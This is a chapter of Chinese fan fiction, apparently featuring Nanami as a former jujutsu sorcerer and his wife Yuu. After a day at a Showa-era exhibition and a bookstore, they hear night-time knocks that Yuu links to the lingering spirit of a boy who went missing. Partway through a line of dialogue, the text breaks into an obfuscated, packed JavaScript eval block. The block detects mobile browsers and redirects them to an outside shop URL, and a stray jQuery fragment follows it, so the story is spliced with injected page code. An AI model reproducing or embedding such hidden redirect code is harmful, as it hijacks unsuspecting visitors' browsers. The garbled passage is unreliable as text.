美术馆的展览是关于“昭和时代的日常生活”。
老照片、旧海报、复古的家居用品，勾勒出一个已经逝去的时代轮廓。
来看展览的人不多，大多是些怀旧的中老年人。
悠看得很认真，在一组拍摄于六七十年代的老公寓照片前停留了很久。
那些照片里的建筑结构和内部布局，与他们现在住的公寓惊人地相似。
“你看这张，”悠指着其中一张照片，“这个楼梯的扶手，和我们公寓的一模一样。还有这个走廊的照明灯……”
七海顺着她指的方向看去。
黑白照片里，一个穿着旧式校服的小男孩正从楼梯上跑下来，表情模糊，但动作充满活力。
照片下方的说明写着:“1978年，xx区某公寓楼内景”。
“这栋公寓楼，应该和我们是同一时期建的。”悠轻声说，“外婆说过，这附近的好多公寓楼都是八十年代初期集中建设的。那时候东京在准备奥运会，到处都在盖房子。”
她又看了几张照片，然后忽然说:“七海海，你说……房子会不会有记忆？”
七海看向她。“什么意思？”
“就是……住过的人，发生过的事，会不会以某种方式‘留’在房子里？”悠的眼睛在展厅昏暗的光线下显得格外深邃，“就像这些照片，它们定格了某个瞬间。但如果没有被拍下来，那些瞬间就真的消失了吗？还是说……会变成别的东西，继续存在？”
这个问题太接近某些七海不愿深究的领域。
他推了推眼镜，选择了最理性的回答:“建筑材料没有记忆功能。但人的情感投射和心理暗示，可能会让人对特定环境产生特定的感受。”
“也是。”悠笑了笑，那笑容有些飘忽，“可能是我最近画新连载，想太多了吧。”
两人继续看展。
但在离开这个展区时，七海回头看了一眼那张小男孩跑下楼梯的照片。
黑白影像里，男孩的身影在楼梯拐角处显得格外模糊，几乎要融入背景的阴影中。
不知为何，那个模糊的身影，让他想起了在超市玻璃倒影里看到的那个矮小轮廓。
从美术馆出来，两人去了附近的大型书店。
悠直奔艺术图书区，七海则在商业书籍区找了本最近出版的金融分析著作，坐在阅读区的沙发上翻阅。
大约半小时后，悠抱着一摞书回来，眼睛亮晶晶的:“找到好多有用的资料！这本是都市传说合集，还有这本——”
她抽出一本装帧诡异的书，封面上是一个扭曲的楼梯图案，书名是《日本公寓楼怪谈考》。
七海抬起眼“你要画关于公寓的恐怖故事？”
“嗯，新连载就是设定在一栋老公寓里。”悠在他身边坐下，翻开那本书，“所以要多收集点素材嘛。你看这里——”
她指着一页，“‘深夜的阶梯脚步声’，好多怪谈里都有这个元素。还有这个——‘空房间里的儿童笑声’。”
七海看着她手指划过那些文字，心中那股微妙的不安又升了起来。“悠。”
“嗯？”
“你画这些的时候……会不会害怕？”七海问，声音很平静，“我是说，沉浸在这种题材里，可能会影响情绪。”
悠眨了眨眼，然后笑了:“不会呀。反而觉得……很安心。”
“……安心？”
“嗯”悠合上书，抱在怀里，“因为我知道那些都是故事。是被人创作出来、被人讲述的东西。而现实……”她顿了顿，声音轻了下来。
“现实比故事温柔多了。至少我的现实是这样。”
她说着，转头看向七海，眼睛弯成月牙:“因为我有七海海呀。有你在，我什么都不怕。”
七海看着她灿烂的笑容，心中某个坚硬的地方被轻轻触动了。
他伸出手，指尖在她耳廓停留了片刻。
“嗯。”他低声说，“我在。”
在书店又待了一个多小时，两人提着新买的书走向超市。
周日的街道熙熙攘攘，阳光很好，初夏的风带着温热的气息。
经过社区公园时，悠的脚步慢了下来。
秋千还在那里晃荡。
最靠边的那个空着，深蓝色的塑料板在阳光下反射着刺眼的光。
座位上那个手掌形状的水渍已经几乎看不见了，只留下一片颜色略深的阴影。
悠静静地看了几秒，然后从口袋里掏出一小包刚才在便利店买的牛奶糖。
她撕开包装，取出一颗，轻轻放在了秋千旁的地面上。
“给。”她轻声说，然后转身挽住七海的手臂，“走吧。”
七海没有问为什么。他只是握紧了她的手，带着她离开公园。
但走出几步后，他回头看了一眼。
那颗白色的牛奶糖安静地躺在水泥地上。秋千在微风中轻轻晃动，铁链发出细微的摩擦声。
而在秋千的影子边缘，那片树荫最浓重的地方，似乎有什么东西——一个小小的、模糊的轮廓——正蹲在那里，面朝着牛奶糖的方向。
只是一闪而过。再看时，那里只有斑驳的树影。
七海转回头，将悠的手握得更紧了些。
晚饭是七海做的——姜烧猪肉、凉拌菠菜和味噌汤。
悠吃得津津有味，时不时夸一句“七海海做饭越来越好吃了”。
饭后，七海去洗碗，悠则坐在客厅地板上，开始翻看她今天买的那些书。
暖黄的灯光洒在她身上，她专注的侧脸在光影中显得格外柔和。
七海洗完碗，擦干手，走到她身边坐下。
“找到有用的素材了吗？”他问。
“嗯，好多。”悠头也不抬，手指划过书页上的一段文字，“你看这个——‘居住在老旧公寓的独居女性，每晚都会听到隔壁空房间传来孩子的哭声。她报警、投诉，但所有人都说那是她的幻听。直到有一天，她在自己房间的墙壁夹层里，发现了一个已经干瘪的婴儿奶嘴’。”
七海看着那行字，又看了看悠专注的表情。“这和你之前画的那个故事很像。”
“是啊，恐怖故事的主题来来去去就那些。”悠耸耸肩，“但每次看到新的版本，还是会觉得……啊，原来还可以这样表达。”
她继续翻页。客厅里很安静，只有书页翻动的沙沙声，和窗外隐约传来的车声。
不知过了多久，悠忽然轻声说:“七海海。”
“嗯？”
她没有抬头，手指停在一张插图上——那是一栋老旧公寓楼的剖面图，每个窗户里都画着模糊的人影，“如果我们住的这栋楼，真的有什么恐怖东西……你会怎么做？”
七海沉默了几秒。
“首先确认它是否有威胁。”七海选择了最理性的回答，“如果没有，可以观察。如果有……”
他没有说下去。
悠抬起头看他，黑色的眼眸在灯光下清澈见底。
“如果有的话？”
“我会保护你。”七海说，声音平静而坚定，“无论如何。”
悠看了他很久，然后笑了，那笑容温柔得像要融化在灯光里。
她放下书，爬过来，跨坐到他腿上，双手环住他的脖子。
“七海海真可靠。”她小声说，额头抵着他的额头，“但是啊……我也要保护七海海。”
七海的手扶在她腰侧，感受着她身体的温热和柔软。
“你不需要——”
“需要。”悠打断他，声音很轻，但很认真，“因为是七海海。所以我要保护你。”
她说这话时的表情太温柔，眼神太坚定，让七海一时不知该如何回应。
他只能收紧手臂，将她紧紧抱在怀里。
悠满足地哼了一声，脸埋在他肩窝。
两人就这样静静相拥，客厅里只有彼此的呼吸声和心跳声。
但就在这时——
“咚。”
一声轻微的敲击声，从墙壁的方向传来。
很轻，很短暂，像是有人在隔壁轻轻敲了一下墙。
但七海知道，隔壁601室是空房，已经空置了至少三个月。
悠的身体微微僵了一下。
“咚。”
又一声。
这次更清晰了些，而且是从另一个方向传来的——电视柜旁边的那面墙。
七海缓缓松开悠，看向那个方向。
客厅的灯光很亮，墙壁上空无一物，只有他们自己的影子投在上面。
“可能是热胀冷缩。”悠说，声音很平静，但七海能感觉到她身体的紧绷，“老房子晚上经常有这种声音。”
“咚。”
第三声。
这次是从天花板传来的——正上方，他们头顶的位置。
但七楼是顶楼，上面只有天台。
七海站起身，将悠护在身后。
他的目光锐利地扫过客厅的每一个角落。
但什么也没有。
没有咒力的波动，没有异常的影子，没有任何肉眼可见的“东西”。
只有寂静。深沉的、仿佛能将人淹没的寂静。
“七海海。”悠轻轻拉住了他的手，“没事的。”
七海转过头看她。悠的脸上没有恐惧，只有一种近乎悲悯的平静。
她握紧他的手，手指有些凉。
“它只是在打招呼。”她轻声说，“因为今天……是那个日子。”
“……什么日子？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154062|196498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
悠没有立刻回答。她走到电视柜前，蹲下身，从最下面的抽屉里拿出一个旧相框。
相框里是一张泛黄的照片——一个小男孩站在公园的秋千旁，笑得很开心。照片背面用钢笔写着:“健太，7岁，2008.6.15”。
“十年前的今天，”悠的声音很轻，“这个孩子在这附近的公园失踪了。一直没找到。”
七海看着那张照片。
照片上的男孩大约六七岁，穿着短裤和T恤，脸上是天真无邪的笑容。
背景正是他们今天经过的那个社区公园，秋千在阳光下闪着光。
“你怎么知道？”七海问。
“外婆告诉我的。”悠抚摸着相框的玻璃，“这孩子以前住在这栋楼里，经常在公园玩。失踪后，他家人搬走了，但楼里的老人们都还记得。每年这一天……”
她没有说下去。
但七海明白了。
每年这一天，楼里就会出现那些“声音”。邻居们听到的孩子跑跳声、笑声、哭声——都是记忆的回响，是未能安息的思念，是迷失在时间夹缝中的存在。
“它不坏。”悠重复着之前说过的话，将相框放回抽屉，“只是迷路了，很孤独。”
七海看着她平静的侧脸，心中涌起一股复杂的情绪。
悠知道。
她一直都知道这栋楼里有什么，知道那些怪声音的来源，知道邻居们的恐惧是什么。
但她选择用这种方式面对——不是恐惧，不是逃避，而是接纳。
“你不怕吗？”七海问。
悠站起身，走回他身边，重新握住他的手。
“怕过。小时候第一次听到那些声音，怕得整晚睡不着。”她笑了笑，“但外婆说，恐惧是因为不理解。如果你知道那是什么，为什么在那里，也许就不那么怕了。”
她顿了顿，看着七海的眼睛:“而且现在，有你在身边。所以一点都不怕了。”
七海将她拉进怀里，紧紧抱住。
悠顺从地依偎着他，脸贴在他胸口。
“咚。”
又一声敲击，从卧室的方向传来。
但这次，声音里似乎带上了一点不同的意味——不再是单纯的重复，更像是一种试探性的、小心翼翼的叩问。
悠从七海怀里抬起头，看向卧室的方向。她犹豫了一下，然后轻声说:“你说它会不会在问……我们会不会也离开这里。”
七海低头看她。
“你想回答吗？”
悠想了想，然后点点头。
“那七海海会嫌我幼稚吗？”
“为什么会这样想？”七海抵住她的发顶。
悠拉着七海的手，走到卧室门口，但没有进去。
她只是站在门口，对着黑暗的房间轻声说:
“我们不会走的。”
声音很轻，但很清晰。
“这里是我们的家。我们会一直住在这里。”
寂静。
深沉的寂静。
然后，从卧室的深处，传来一声极其轻微的、几乎听不见的叹息。
悠长的，湿润的，仿佛终于放下了什么重担的叹息。
之后，整晚再没有任何声音。
深夜，两人躺在床上。
悠已经睡着了。
七海却还醒着，在黑暗中睁着眼睛。
他的手臂环着悠的腰，手掌贴在她平坦的小腹上，感受着她。
他的另一只手，则无意识地抚摸着她的头发，指尖缠绕着那些顺滑的发丝。
今天发生的一切——美术馆的老照片，书店的怪谈书籍，公园的秋千，还有今晚那些敲击声和悠的回应——都在他脑中反复回放。
悠她一直都知道。
但她选择用那种方式面对，温柔地接纳那些异常的存在。
而他自己呢？
作为前咒术师，他的第一反应永远是警戒、评估、必要时祓除。
但悠的方式……似乎也是一种选择。
一种更温和，也许更艰难的，与异常共存的选择。
他低头，看着怀中人安详的睡颜。
悠在睡梦中无意识地蹭了蹭他的胸口。
七海闭上眼睛，将脸埋进她的发间。
洗发水的花果香气混合着她肌肤的暖香，形成一种令人安心的气息。
他选择的生活。
他选择的妻子。
他选择守护的日常。
即使这日常之下，潜藏着无法用常理解释的缝隙。
但只要怀里的这个人安然无恙，只要这个家还在。
他就会继续守护下去。
用他的方式。
也用她教会他的方式。